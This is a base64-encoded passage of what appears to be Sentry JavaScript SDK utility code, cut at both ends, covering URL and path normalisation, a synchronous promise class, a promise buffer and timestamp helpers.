IFRoZSBhcHBsaWNhdGlvbiBiYXNlIHBhdGguCiAqIEByZXR1cm5zIFRoZSBub3JtYWxpemVkIFVSTC4KICovCmZ1bmN0aW9uIG5vcm1hbGl6ZVVybFRvQmFzZSh1cmwsIGJhc2VQYXRoKSB7CiAgY29uc3QgZXNjYXBlZEJhc2UgPSBiYXNlUGF0aAogICAgLy8gQmFja3NsYXNoIHRvIGZvcndhcmQKICAgIC5yZXBsYWNlKC9cXC9nLCAnLycpCiAgICAvLyBFc2NhcGUgUmVnRXhwIHNwZWNpYWwgY2hhcmFjdGVycwogICAgLnJlcGxhY2UoL1t8XFx7fSgpW1xdXiQrKj8uXS9nLCAnXFwkJicpOwoKICBsZXQgbmV3VXJsID0gdXJsOwogIHRyeSB7CiAgICBuZXdVcmwgPSBkZWNvZGVVUkkodXJsKTsKICB9IGNhdGNoIChfT28pIHsKICAgIC8vIFNvbWV0aW1lIHRoaXMgYnJlYWtzCiAgfQogIHJldHVybiAoCiAgICBuZXdVcmwKICAgICAgLnJlcGxhY2UoL1xcL2csICcvJykKICAgICAgLnJlcGxhY2UoL3dlYnBhY2s6XC8/L2csICcnKSAvLyBSZW1vdmUgaW50ZXJtZWRpYXRlIGJhc2UgcGF0aAogICAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgQHNlbnRyeS1pbnRlcm5hbC9zZGsvbm8tcmVnZXhwLWNvbnN0cnVjdG9yCiAgICAgIC5yZXBsYWNlKG5ldyBSZWdFeHAoYChmaWxlOi8vKT8vKiR7ZXNjYXBlZEJhc2V9LypgLCAnaWcnKSwgJ2FwcDovLy8nKQogICk7Cn0KCi8vIFNsaWdodGx5IG1vZGlmaWVkIChubyBJRTggc3VwcG9ydCwgRVM2KSBhbmQgdHJhbnNjcmliZWQgdG8gVHlwZVNjcmlwdAoKLy8gU3BsaXQgYSBmaWxlbmFtZSBpbnRvIFtyb290LCBkaXIsIGJhc2VuYW1lLCBleHRdLCB1bml4IHZlcnNpb24KLy8gJ3Jvb3QnIGlzIGp1c3QgYSBzbGFzaCwgb3Igbm90aGluZy4KY29uc3Qgc3BsaXRQYXRoUmUgPSAvXihcUys6XFx8XC8/KShbXHNcU10qPykoKD86XC57MSwyfXxbXi9cXF0rP3wpKFwuW14uL1xcXSp8KSkoPzpbL1xcXSopJC87Ci8qKiBKU0RvYyAqLwpmdW5jdGlvbiBzcGxpdFBhdGgoZmlsZW5hbWUpIHsKICAvLyBUcnVuY2F0ZSBmaWxlcyBuYW1lcyBncmVhdGVyIHRoYW4gMTAyNCBjaGFyYWN0ZXJzIHRvIGF2b2lkIHJlZ2V4IGRvcwogIC8vIGh0dHBzOi8vZ2l0aHViLmNvbS9nZXRzZW50cnkvc2VudHJ5LWphdmFzY3JpcHQvcHVsbC84NzM3I2Rpc2N1c3Npb25fcjEyODU3MTkxNzIKICBjb25zdCB0cnVuY2F0ZWQgPSBmaWxlbmFtZS5sZW5ndGggPiAxMDI0ID8gYDx0cnVuY2F0ZWQ+JHtmaWxlbmFtZS5zbGljZSgtMTAyNCl9YCA6IGZpbGVuYW1lOwogIGNvbnN0IHBhcnRzID0gc3BsaXRQYXRoUmUuZXhlYyh0cnVuY2F0ZWQpOwogIHJldHVybiBwYXJ0cyA/IHBhcnRzLnNsaWNlKDEpIDogW107Cn0KCi8qKiBKU0RvYyAqLwpmdW5jdGlvbiBkaXJuYW1lKHBhdGgpIHsKICBjb25zdCByZXN1bHQgPSBzcGxpdFBhdGgocGF0aCk7CiAgY29uc3Qgcm9vdCA9IHJlc3VsdFswXTsKICBsZXQgZGlyID0gcmVzdWx0WzFdOwoKICBpZiAoIXJvb3QgJiYgIWRpcikgewogICAgLy8gTm8gZGlybmFtZSB3aGF0c29ldmVyCiAgICByZXR1cm4gJy4nOwogIH0KCiAgaWYgKGRpcikgewogICAgLy8gSXQgaGFzIGEgZGlybmFtZSwgc3RyaXAgdHJhaWxpbmcgc2xhc2gKICAgIGRpciA9IGRpci5zbGljZSgwLCBkaXIubGVuZ3RoIC0gMSk7CiAgfQoKICByZXR1cm4gcm9vdCArIGRpcjsKfQoKLyogZXNsaW50LWRpc2FibGUgQHR5cGVzY3JpcHQtZXNsaW50L2V4cGxpY2l0LWZ1bmN0aW9uLXJldHVybi10eXBlICovCgovKiogU3luY1Byb21pc2UgaW50ZXJuYWwgc3RhdGVzICovCnZhciBTdGF0ZXM7IChmdW5jdGlvbiAoU3RhdGVzKSB7CiAgLyoqIFBlbmRpbmcgKi8KICBjb25zdCBQRU5ESU5HID0gMDsgU3RhdGVzW1N0YXRlc1siUEVORElORyJdID0gUEVORElOR10gPSAiUEVORElORyI7CiAgLyoqIFJlc29sdmVkIC8gT0sgKi8KICBjb25zdCBSRVNPTFZFRCA9IDE7IFN0YXRlc1tTdGF0ZXNbIlJFU09MVkVEIl0gPSBSRVNPTFZFRF0gPSAiUkVTT0xWRUQiOwogIC8qKiBSZWplY3RlZCAvIEVycm9yICovCiAgY29uc3QgUkVKRUNURUQgPSAyOyBTdGF0ZXNbU3RhdGVzWyJSRUpFQ1RFRCJdID0gUkVKRUNURURdID0gIlJFSkVDVEVEIjsKfSkoU3RhdGVzIHx8IChTdGF0ZXMgPSB7fSkpOwoKLy8gT3ZlcmxvYWRzIHNvIHdlIGNhbiBjYWxsIHJlc29sdmVkU3luY1Byb21pc2Ugd2l0aG91dCBhcmd1bWVudHMgYW5kIGdlbmVyaWMgYXJndW1lbnQKCi8qKgogKiBDcmVhdGVzIGEgcmVzb2x2ZWQgc3luYyBwcm9taXNlLgogKgogKiBAcGFyYW0gdmFsdWUgdGhlIHZhbHVlIHRvIHJlc29sdmUgdGhlIHByb21pc2Ugd2l0aAogKiBAcmV0dXJucyB0aGUgcmVzb2x2ZWQgc3luYyBwcm9taXNlCiAqLwpmdW5jdGlvbiByZXNvbHZlZFN5bmNQcm9taXNlKHZhbHVlKSB7CiAgcmV0dXJuIG5ldyBTeW5jUHJvbWlzZShyZXNvbHZlID0+IHsKICAgIHJlc29sdmUodmFsdWUpOwogIH0pOwp9CgovKioKICogQ3JlYXRlcyBhIHJlamVjdGVkIHN5bmMgcHJvbWlzZS4KICoKICogQHBhcmFtIHZhbHVlIHRoZSB2YWx1ZSB0byByZWplY3QgdGhlIHByb21pc2Ugd2l0aAogKiBAcmV0dXJucyB0aGUgcmVqZWN0ZWQgc3luYyBwcm9taXNlCiAqLwpmdW5jdGlvbiByZWplY3RlZFN5bmNQcm9taXNlKHJlYXNvbikgewogIHJldHVybiBuZXcgU3luY1Byb21pc2UoKF8sIHJlamVjdCkgPT4gewogICAgcmVqZWN0KHJlYXNvbik7CiAgfSk7Cn0KCi8qKgogKiBUaGVuYWJsZSBjbGFzcyB0aGF0IGJlaGF2ZXMgbGlrZSBhIFByb21pc2UgYW5kIGZvbGxvd3MgaXQncyBpbnRlcmZhY2UKICogYnV0IGlzIG5vdCBhc3luYyBpbnRlcm5hbGx5CiAqLwpjbGFzcyBTeW5jUHJvbWlzZSB7CgogICBjb25zdHJ1Y3RvcigKICAgIGV4ZWN1dG9yLAogICkge1N5bmNQcm9taXNlLnByb3RvdHlwZS5fX2luaXQuY2FsbCh0aGlzKTtTeW5jUHJvbWlzZS5wcm90b3R5cGUuX19pbml0Mi5jYWxsKHRoaXMpO1N5bmNQcm9taXNlLnByb3RvdHlwZS5fX2luaXQzLmNhbGwodGhpcyk7U3luY1Byb21pc2UucHJvdG90eXBlLl9faW5pdDQuY2FsbCh0aGlzKTsKICAgIHRoaXMuX3N0YXRlID0gU3RhdGVzLlBFTkRJTkc7CiAgICB0aGlzLl9oYW5kbGVycyA9IFtdOwoKICAgIHRyeSB7CiAgICAgIGV4ZWN1dG9yKHRoaXMuX3Jlc29sdmUsIHRoaXMuX3JlamVjdCk7CiAgICB9IGNhdGNoIChlKSB7CiAgICAgIHRoaXMuX3JlamVjdChlKTsKICAgIH0KICB9CgogIC8qKiBKU0RvYyAqLwogICB0aGVuKAogICAgb25mdWxmaWxsZWQsCiAgICBvbnJlamVjdGVkLAogICkgewogICAgcmV0dXJuIG5ldyBTeW5jUHJvbWlzZSgocmVzb2x2ZSwgcmVqZWN0KSA9PiB7CiAgICAgIHRoaXMuX2hhbmRsZXJzLnB1c2goWwogICAgICAgIGZhbHNlLAogICAgICAgIHJlc3VsdCA9PiB7CiAgICAgICAgICBpZiAoIW9uZnVsZmlsbGVkKSB7CiAgICAgICAgICAgIC8vIFRPRE86IMKvXF8o44OEKV8vwq8KICAgICAgICAgICAgLy8gVE9ETzogRklYTUUKICAgICAgICAgICAgcmVzb2x2ZShyZXN1bHQgKTsKICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgcmVzb2x2ZShvbmZ1bGZpbGxlZChyZXN1bHQpKTsKICAgICAgICAgICAgfSBjYXRjaCAoZSkgewogICAgICAgICAgICAgIHJlamVjdChlKTsKICAgICAgICAgICAgfQogICAgICAgICAgfQogICAgICAgIH0sCiAgICAgICAgcmVhc29uID0+IHsKICAgICAgICAgIGlmICghb25yZWplY3RlZCkgewogICAgICAgICAgICByZWplY3QocmVhc29uKTsKICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgcmVzb2x2ZShvbnJlamVjdGVkKHJlYXNvbikpOwogICAgICAgICAgICB9IGNhdGNoIChlKSB7CiAgICAgICAgICAgICAgcmVqZWN0KGUpOwogICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgfSwKICAgICAgXSk7CiAgICAgIHRoaXMuX2V4ZWN1dGVIYW5kbGVycygpOwogICAgfSk7CiAgfQoKICAvKiogSlNEb2MgKi8KICAgY2F0Y2goCiAgICBvbnJlamVjdGVkLAogICkgewogICAgcmV0dXJuIHRoaXMudGhlbih2YWwgPT4gdmFsLCBvbnJlamVjdGVkKTsKICB9CgogIC8qKiBKU0RvYyAqLwogICBmaW5hbGx5KG9uZmluYWxseSkgewogICAgcmV0dXJuIG5ldyBTeW5jUHJvbWlzZSgocmVzb2x2ZSwgcmVqZWN0KSA9PiB7CiAgICAgIGxldCB2YWw7CiAgICAgIGxldCBpc1JlamVjdGVkOwoKICAgICAgcmV0dXJuIHRoaXMudGhlbigKICAgICAgICB2YWx1ZSA9PiB7CiAgICAgICAgICBpc1JlamVjdGVkID0gZmFsc2U7CiAgICAgICAgICB2YWwgPSB2YWx1ZTsKICAgICAgICAgIGlmIChvbmZpbmFsbHkpIHsKICAgICAgICAgICAgb25maW5hbGx5KCk7CiAgICAgICAgICB9CiAgICAgICAgfSwKICAgICAgICByZWFzb24gPT4gewogICAgICAgICAgaXNSZWplY3RlZCA9IHRydWU7CiAgICAgICAgICB2YWwgPSByZWFzb247CiAgICAgICAgICBpZiAob25maW5hbGx5KSB7CiAgICAgICAgICAgIG9uZmluYWxseSgpOwogICAgICAgICAgfQogICAgICAgIH0sCiAgICAgICkudGhlbigoKSA9PiB7CiAgICAgICAgaWYgKGlzUmVqZWN0ZWQpIHsKICAgICAgICAgIHJlamVjdCh2YWwpOwogICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgcmVzb2x2ZSh2YWwgKTsKICAgICAgfSk7CiAgICB9KTsKICB9CgogIC8qKiBKU0RvYyAqLwogICAgX19pbml0KCkge3RoaXMuX3Jlc29sdmUgPSAodmFsdWUpID0+IHsKICAgIHRoaXMuX3NldFJlc3VsdChTdGF0ZXMuUkVTT0xWRUQsIHZhbHVlKTsKICB9O30KCiAgLyoqIEpTRG9jICovCiAgICBfX2luaXQyKCkge3RoaXMuX3JlamVjdCA9IChyZWFzb24pID0+IHsKICAgIHRoaXMuX3NldFJlc3VsdChTdGF0ZXMuUkVKRUNURUQsIHJlYXNvbik7CiAgfTt9CgogIC8qKiBKU0RvYyAqLwogICAgX19pbml0MygpIHt0aGlzLl9zZXRSZXN1bHQgPSAoc3RhdGUsIHZhbHVlKSA9PiB7CiAgICBpZiAodGhpcy5fc3RhdGUgIT09IFN0YXRlcy5QRU5ESU5HKSB7CiAgICAgIHJldHVybjsKICAgIH0KCiAgICBpZiAoaXNUaGVuYWJsZSh2YWx1ZSkpIHsKICAgICAgdm9pZCAodmFsdWUgKS50aGVuKHRoaXMuX3Jlc29sdmUsIHRoaXMuX3JlamVjdCk7CiAgICAgIHJldHVybjsKICAgIH0KCiAgICB0aGlzLl9zdGF0ZSA9IHN0YXRlOwogICAgdGhpcy5fdmFsdWUgPSB2YWx1ZTsKCiAgICB0aGlzLl9leGVjdXRlSGFuZGxlcnMoKTsKICB9O30KCiAgLyoqIEpTRG9jICovCiAgICBfX2luaXQ0KCkge3RoaXMuX2V4ZWN1dGVIYW5kbGVycyA9ICgpID0+IHsKICAgIGlmICh0aGlzLl9zdGF0ZSA9PT0gU3RhdGVzLlBFTkRJTkcpIHsKICAgICAgcmV0dXJuOwogICAgfQoKICAgIGNvbnN0IGNhY2hlZEhhbmRsZXJzID0gdGhpcy5faGFuZGxlcnMuc2xpY2UoKTsKICAgIHRoaXMuX2hhbmRsZXJzID0gW107CgogICAgY2FjaGVkSGFuZGxlcnMuZm9yRWFjaChoYW5kbGVyID0+IHsKICAgICAgaWYgKGhhbmRsZXJbMF0pIHsKICAgICAgICByZXR1cm47CiAgICAgIH0KCiAgICAgIGlmICh0aGlzLl9zdGF0ZSA9PT0gU3RhdGVzLlJFU09MVkVEKSB7CiAgICAgICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIEB0eXBlc2NyaXB0LWVzbGludC9uby1mbG9hdGluZy1wcm9taXNlcwogICAgICAgIGhhbmRsZXJbMV0odGhpcy5fdmFsdWUgKTsKICAgICAgfQoKICAgICAgaWYgKHRoaXMuX3N0YXRlID09PSBTdGF0ZXMuUkVKRUNURUQpIHsKICAgICAgICBoYW5kbGVyWzJdKHRoaXMuX3ZhbHVlKTsKICAgICAgfQoKICAgICAgaGFuZGxlclswXSA9IHRydWU7CiAgICB9KTsKICB9O30KfQoKLyoqCiAqIENyZWF0ZXMgYW4gbmV3IFByb21pc2VCdWZmZXIgb2JqZWN0IHdpdGggdGhlIHNwZWNpZmllZCBsaW1pdAogKiBAcGFyYW0gbGltaXQgbWF4IG51bWJlciBvZiBwcm9taXNlcyB0aGF0IGNhbiBiZSBzdG9yZWQgaW4gdGhlIGJ1ZmZlcgogKi8KZnVuY3Rpb24gbWFrZVByb21pc2VCdWZmZXIobGltaXQpIHsKICBjb25zdCBidWZmZXIgPSBbXTsKCiAgZnVuY3Rpb24gaXNSZWFkeSgpIHsKICAgIHJldHVybiBsaW1pdCA9PT0gdW5kZWZpbmVkIHx8IGJ1ZmZlci5sZW5ndGggPCBsaW1pdDsKICB9CgogIC8qKgogICAqIFJlbW92ZSBhIHByb21pc2UgZnJvbSB0aGUgcXVldWUuCiAgICoKICAgKiBAcGFyYW0gdGFzayBDYW4gYmUgYW55IFByb21pc2VMaWtlPFQ+CiAgICogQHJldHVybnMgUmVtb3ZlZCBwcm9taXNlLgogICAqLwogIGZ1bmN0aW9uIHJlbW92ZSh0YXNrKSB7CiAgICByZXR1cm4gYnVmZmVyLnNwbGljZShidWZmZXIuaW5kZXhPZih0YXNrKSwgMSlbMF07CiAgfQoKICAvKioKICAgKiBBZGQgYSBwcm9taXNlIChyZXByZXNlbnRpbmcgYW4gaW4tZmxpZ2h0IGFjdGlvbikgdG8gdGhlIHF1ZXVlLCBhbmQgc2V0IGl0IHRvIHJlbW92ZSBpdHNlbGYgb24gZnVsZmlsbG1lbnQuCiAgICoKICAgKiBAcGFyYW0gdGFza1Byb2R1Y2VyIEEgZnVuY3Rpb24gcHJvZHVjaW5nIGFueSBQcm9taXNlTGlrZTxUPjsgSW4gcHJldmlvdXMgdmVyc2lvbnMgdGhpcyB1c2VkIHRvIGJlIGB0YXNrOgogICAqICAgICAgICBQcm9taXNlTGlrZTxUPmAsIGJ1dCB1bmRlciB0aGF0IG1vZGVsLCBQcm9taXNlcyB3ZXJlIGluc3RhbnRseSBjcmVhdGVkIG9uIHRoZSBjYWxsLXNpdGUgYW5kIHRoZWlyIGV4ZWN1dG9yCiAgICogICAgICAgIGZ1bmN0aW9ucyB0aGVyZWZvcmUgcmFuIGltbWVkaWF0ZWx5LiBUaHVzLCBldmVuIGlmIHRoZSBidWZmZXIgd2FzIGZ1bGwsIHRoZSBhY3Rpb24gc3RpbGwgaGFwcGVuZWQuIEJ5CiAgICogICAgICAgIHJlcXVpcmluZyB0aGUgcHJvbWlzZSB0byBiZSB3cmFwcGVkIGluIGEgZnVuY3Rpb24sIHdlIGNhbiBkZWZlciBwcm9taXNlIGNyZWF0aW9uIHVudGlsIGFmdGVyIHRoZSBidWZmZXIKICAgKiAgICAgICAgbGltaXQgY2hlY2suCiAgICogQHJldHVybnMgVGhlIG9yaWdpbmFsIHByb21pc2UuCiAgICovCiAgZnVuY3Rpb24gYWRkKHRhc2tQcm9kdWNlcikgewogICAgaWYgKCFpc1JlYWR5KCkpIHsKICAgICAgcmV0dXJuIHJlamVjdGVkU3luY1Byb21pc2UobmV3IFNlbnRyeUVycm9yKCdOb3QgYWRkaW5nIFByb21pc2UgYmVjYXVzZSBidWZmZXIgbGltaXQgd2FzIHJlYWNoZWQuJykpOwogICAgfQoKICAgIC8vIHN0YXJ0IHRoZSB0YXNrIGFuZCBhZGQgaXRzIHByb21pc2UgdG8gdGhlIHF1ZXVlCiAgICBjb25zdCB0YXNrID0gdGFza1Byb2R1Y2VyKCk7CiAgICBpZiAoYnVmZmVyLmluZGV4T2YodGFzaykgPT09IC0xKSB7CiAgICAgIGJ1ZmZlci5wdXNoKHRhc2spOwogICAgfQogICAgdm9pZCB0YXNrCiAgICAgIC50aGVuKCgpID0+IHJlbW92ZSh0YXNrKSkKICAgICAgLy8gVXNlIGB0aGVuKG51bGwsIHJlamVjdGlvbkhhbmRsZXIpYCByYXRoZXIgdGhhbiBgY2F0Y2gocmVqZWN0aW9uSGFuZGxlcilgIHNvIHRoYXQgd2UgY2FuIHVzZSBgUHJvbWlzZUxpa2VgCiAgICAgIC8vIHJhdGhlciB0aGFuIGBQcm9taXNlYC4gYFByb21pc2VMaWtlYCBkb2Vzbid0IGhhdmUgYSBgLmNhdGNoYCBtZXRob2QsIG1ha2luZyBpdHMgcG9seWZpbGwgc21hbGxlci4gKEVTNSBkaWRuJ3QKICAgICAgLy8gaGF2ZSBwcm9taXNlcywgc28gVFMgaGFzIHRvIHBvbHlmaWxsIHdoZW4gZG93bi1jb21waWxpbmcuKQogICAgICAudGhlbihudWxsLCAoKSA9PgogICAgICAgIHJlbW92ZSh0YXNrKS50aGVuKG51bGwsICgpID0+IHsKICAgICAgICAgIC8vIFdlIGhhdmUgdG8gYWRkIGFub3RoZXIgY2F0Y2ggaGVyZSBiZWNhdXNlIGByZW1vdmUoKWAgc3RhcnRzIGEgbmV3IHByb21pc2UgY2hhaW4uCiAgICAgICAgfSksCiAgICAgICk7CiAgICByZXR1cm4gdGFzazsKICB9CgogIC8qKgogICAqIFdhaXQgZm9yIGFsbCBwcm9taXNlcyBpbiB0aGUgcXVldWUgdG8gcmVzb2x2ZSBvciBmb3IgdGltZW91dCB0byBleHBpcmUsIHdoaWNoZXZlciBjb21lcyBmaXJzdC4KICAgKgogICAqIEBwYXJhbSB0aW1lb3V0IFRoZSB0aW1lLCBpbiBtcywgYWZ0ZXIgd2hpY2ggdG8gcmVzb2x2ZSB0byBgZmFsc2VgIGlmIHRoZSBxdWV1ZSBpcyBzdGlsbCBub24tZW1wdHkuIFBhc3NpbmcgYDBgIChvcgogICAqIG5vdCBwYXNzaW5nIGFueXRoaW5nKSB3aWxsIG1ha2UgdGhlIHByb21pc2Ugd2FpdCBhcyBsb25nIGFzIGl0IHRha2VzIGZvciB0aGUgcXVldWUgdG8gZHJhaW4gYmVmb3JlIHJlc29sdmluZyB0bwogICAqIGB0cnVlYC4KICAgKiBAcmV0dXJucyBBIHByb21pc2Ugd2hpY2ggd2lsbCByZXNvbHZlIHRvIGB0cnVlYCBpZiB0aGUgcXVldWUgaXMgYWxyZWFkeSBlbXB0eSBvciBkcmFpbnMgYmVmb3JlIHRoZSB0aW1lb3V0LCBhbmQKICAgKiBgZmFsc2VgIG90aGVyd2lzZQogICAqLwogIGZ1bmN0aW9uIGRyYWluKHRpbWVvdXQpIHsKICAgIHJldHVybiBuZXcgU3luY1Byb21pc2UoKHJlc29sdmUsIHJlamVjdCkgPT4gewogICAgICBsZXQgY291bnRlciA9IGJ1ZmZlci5sZW5ndGg7CgogICAgICBpZiAoIWNvdW50ZXIpIHsKICAgICAgICByZXR1cm4gcmVzb2x2ZSh0cnVlKTsKICAgICAgfQoKICAgICAgLy8gd2FpdCBmb3IgYHRpbWVvdXRgIG1zIGFuZCB0aGVuIHJlc29sdmUgdG8gYGZhbHNlYCAoaWYgbm90IGNhbmNlbGxlZCBmaXJzdCkKICAgICAgY29uc3QgY2FwdHVyZWRTZXRUaW1lb3V0ID0gc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgaWYgKHRpbWVvdXQgJiYgdGltZW91dCA+IDApIHsKICAgICAgICAgIHJlc29sdmUoZmFsc2UpOwogICAgICAgIH0KICAgICAgfSwgdGltZW91dCk7CgogICAgICAvLyBpZiBhbGwgcHJvbWlzZXMgcmVzb2x2ZSBpbiB0aW1lLCBjYW5jZWwgdGhlIHRpbWVyIGFuZCByZXNvbHZlIHRvIGB0cnVlYAogICAgICBidWZmZXIuZm9yRWFjaChpdGVtID0+IHsKICAgICAgICB2b2lkIHJlc29sdmVkU3luY1Byb21pc2UoaXRlbSkudGhlbigoKSA9PiB7CiAgICAgICAgICBpZiAoIS0tY291bnRlcikgewogICAgICAgICAgICBjbGVhclRpbWVvdXQoY2FwdHVyZWRTZXRUaW1lb3V0KTsKICAgICAgICAgICAgcmVzb2x2ZSh0cnVlKTsKICAgICAgICAgIH0KICAgICAgICB9LCByZWplY3QpOwogICAgICB9KTsKICAgIH0pOwogIH0KCiAgcmV0dXJuIHsKICAgICQ6IGJ1ZmZlciwKICAgIGFkZCwKICAgIGRyYWluLAogIH07Cn0KCmNvbnN0IE9ORV9TRUNPTkRfSU5fTVMgPSAxMDAwOwoKLyoqCiAqIEEgcGFydGlhbCBkZWZpbml0aW9uIG9mIHRoZSBbUGVyZm9ybWFuY2UgV2ViIEFQSV17QGxpbmsgaHR0cHM6Ly9kZXZlbG9wZXIubW96aWxsYS5vcmcvZW4tVVMvZG9jcy9XZWIvQVBJL1BlcmZvcm1hbmNlfQogKiBmb3IgYWNjZXNzaW5nIGEgaGlnaC1yZXNvbHV0aW9uIG1vbm90b25pYyBjbG9jay4KICovCgovKioKICogUmV0dXJucyBhIHRpbWVzdGFtcCBpbiBzZWNvbmRzIHNpbmNlIHRoZSBVTklYIGVwb2NoIHVzaW5nIHRoZSBEYXRlIEFQSS4KICoKICogVE9ETyh2OCk6IFJldHVybiB0eXBlIHNob3VsZCBiZSByb3VuZGVkLgogKi8KZnVuY3Rpb24gZGF0ZVRpbWVzdGFtcEluU2Vjb25kcygpIHsKICByZXR1cm4gRGF0ZS5ub3coKSAvIE9ORV9TRUNPTkRfSU5fTVM7Cn0KCi8qKgogKiBSZXR1cm5zIGEgd3JhcHBlciBhcm91bmQgdGhlIG5hdGl2ZSBQZXJmb3JtYW5jZSBBUEkgYnJvd3NlciBpbXBsZW1lbnRhdGlvbiwgb3IgdW5kZWZpbmVkIGZvciBicm93c2VycyB0aGF0IGRvIG5vdAogKiBzdXBwb3J0IHRoZSBBUEkuCiAqCiAqIFdyYXBwaW5nIHRoZSBuYXRpdmUgQVBJIHdvcmtzIGFyb3VuZCBkaWZmZXJlbmNlcyBpbiBiZWhhdmlvciBmcm9tIGRpZmZlcmVudCBicm93c2Vycy4KICovCmZ1bmN0aW9uIGNyZWF0ZVVuaXhUaW1lc3RhbXBJblNlY29uZHNGdW5jKCkgewogIGNvbnN0IHsgcGVyZm9ybWFuY2UgfSA9IEdMT0JBTF9PQkogOwogIGlmICghcGVyZm9ybWFuY2UgfHwgIXBlcmZvcm1hbmNlLm5vdykgewogICAgcmV0dXJuIGRhdGVUaW1lc3RhbXBJblNlY29uZHM7CiAgfQoKICAvLyBTb21lIGJyb3dzZXIgYW5kIGVudmlyb25tZW50cyBkb24ndCBoYXZlIGEgdGltZU9yaWdpbiwgc28gd2UgZmFsbGJhY2sgdG8KICAvLyB1c2luZyBEYXRlLm5vdygpIHRvIGNvbXB1dGUgdGhlIHN0YXJ0aW5nIHRpbWUuCiAgY29uc3QgYXBwcm94U3RhcnRpbmdUaW1lT3JpZ2luID0gRGF0ZS5ub3coKSAtIHBlcmZvcm1hbmNlLm5vdygpOwogIGNvbnN0IHRpbWVPcmlnaW4gPSBwZXJmb3JtYW5jZS50aW1lT3JpZ2luID09IHVuZGVmaW5lZCA/IGFwcHJveFN0YXJ0aW5nVGltZU9yaWdpbiA6IHBlcmZvcm1hbmNlLnRpbWVPcmlnaW47CgogIC8vIHBlcmZvcm1hbmNlLm5vdygpIGlzIGEgbW9ub3RvbmljIGNsb2NrLCB3aGljaCBtZWFucyBpdCBzdGFydHMgYXQgMCB3aGVuIHRoZSBwcm9jZXNzIGJlZ2lucy4gVG8gZ2V0IHRoZSBjdXJyZW50CiAgLy8gd2FsbCBjbG9jayB0aW1lIChhY3R1YWwgVU5JWCB0aW1lc3RhbXApLCB3ZSBuZWVkIHRvIGFkZCB0aGUgc3RhcnRpbmcgdGltZSBvcmlnaW4gYW5kIHRoZSBjdXJyZW50IHRpbWUgZWxhcHNlZC4KICAvLwogIC8vIFRPRE86IFRoaXMgZG9lcyBub3QgYWNjb3VudCBmb3IgdGhlIGNhc2Ugd2hlcmUgdGhlIG1vbm90b25pYyBjbG9jayB0aGF0IHBvd2VycyBwZXJmb3JtYW5jZS5ub3coKSBkcmlmdHMgZnJvbSB0aGUKICAvLyB3YWxsIGNsb2NrIHRpbWUsIHdoaWNoIGNhdXNlcyB0aGUgcmV0dXJuZWQgdGltZXN0YW1wIHRvIGJlIGluYWNjdXJhdGUuIFdlIHNob3VsZCBpbnZlc3RpZ2F0ZSBob3cgdG8gZGV0ZWN0IGFuZAogIC8vIGNvcnJlY3QgZm9yIHRoaXMuCiAgLy8gU2VlOiBodHRwczovL2dpdGh1Yi5jb20vZ2V0c2VudHJ5L3NlbnRyeS1qYXZhc2NyaXB0L2lzc3Vlcy8yNTkwCiAgLy8gU2VlOiBodHRwczovL2dpdGh1Yi5jb20vbWRuL2NvbnRlbnQvaXNzdWVzLzQ3MTMKICAvLyBTZWU6IGh0dHBzOi8vZGV2LnRvL25vYW1yL3doZW4tYS1taWxsaXNlY29uZC1pcy1ub3QtYS1taWxsaXNlY29uZC0zaDYKICByZXR1cm4gKCkgPT4gewogICAgcmV0dXJuICh0aW1lT3JpZ2luICsgcGVyZm9ybWFuY2Uubm93KCkpIC8gT05FX1NFQ09ORF9JTl9NUzsKICB9Owp9CgovKioKICogUmV0dXJucyBhIHRpbWVzdGFtcCBpbiBzZWNvbmRzIHNpbmNlIHRoZSBVTklYIGVwb2NoIHVzaW5nIGVpdGhlciB0aGUgUGVyZm9ybWFuY2Ugb3IgRGF0ZSBBUElzLCBkZXBlbmRpbmcgb24gdGhlCiAqIGF2YWlsYWJpbGl0eSBvZiB0aGUgUGVyZm9ybWFuY2UgQVBJLgogKgogKiBCVUc6IE5vdGUgdGhhdCBiZWNhdXNlIG9mIGhvdyBicm93c2VycyBpbXBsZW1lbnQgdGhlIFBlcmZvcm1hbmNlIEFQSSwgdGhlIGNsb2NrIG1pZ2h0IHN0b3Agd2hlbiB0aGUgY29tcHV0ZXIgaXMKICogYXNsZWVwLiBUaGlzIGNyZWF0ZXMgYSBza2V3IGJldHdlZW4gYGRhdGVUaW1lc3RhbXBJblNlY29uZHNgIGFuZCBgdGltZXN0YW1wSW5TZWNvbmRzYC4gVGhlCiAqIHNrZXcgY2FuIGdyb3cgdG8gYXJiaXRyYXJ5IGFtb3VudHMgbGlrZSBkYXlzLCB3ZWVrcyBvciBtb250aHMuCiAqIFNlZSBodHRwczovL2dpdGh1Yi5jb20vZ2V0c2VudHJ5L3NlbnRyeS1qYXZhc2NyaXB0L2lzc3Vlcy8yNTkwLgogKi8KY29uc3QgdGltZXN0YW1wSW5TZWNvbmRzID0gY3JlYXRlVW5peFRpbWVzdGFtcEluU2Vjb25kc0Z1bmMoKTsKCi8qKgogKiBUaGUgbnVtYmVyIG9mIG1pbGxpc2Vjb25kcyBzaW5jZSB0aGUgVU5JWCBlcG9jaC4gVGhpcyB2YWx1ZSBpcyBvbmx5IHVzYWJsZSBpbiBhIGJyb3dzZXIsIGFuZCBvbmx5IHdoZW4gdGhlCiAqIHBlcmZvcm1hbmNlIEFQSSBpcyBhdmFpbGFibGUuCiAqLwooKCkgPT4gewogIC8vIFVuZm9ydHVuYXRlbHkgYnJvd3NlcnMgbWF5IHJlcG9ydCBhbiBpbmFjY3VyYXRlIHRpbWUgb3JpZ2luIGRhdGEsIHRocm91Z2ggZWl0aGVyIHBlcmZvcm1hbmNlLnRpbWVPcmlnaW4gb3IKICAvLyBwZXJmb3JtYW5jZS50aW1pbmcubmF2aWdhdGlvblN0YXJ0LCB3aGljaCByZXN1bHRzIGluIHBvb3IgcmVzdWx0cyBpbiBwZXJmb3JtYW5jZSBkYXRhLiBXZSBvbmx5IHRyZWF0IHRpbWUgb3JpZ2luCiAgLy8gZGF0YSBhcyByZWxpYWJsZSBpZiB0aGV5IGFyZSB3aXRoaW4gYSByZWFzb25hYmxlIHRocmVzaG9sZCBvZiB0aGUgY3VycmVudCB0aW1lLgoKICBjb25zd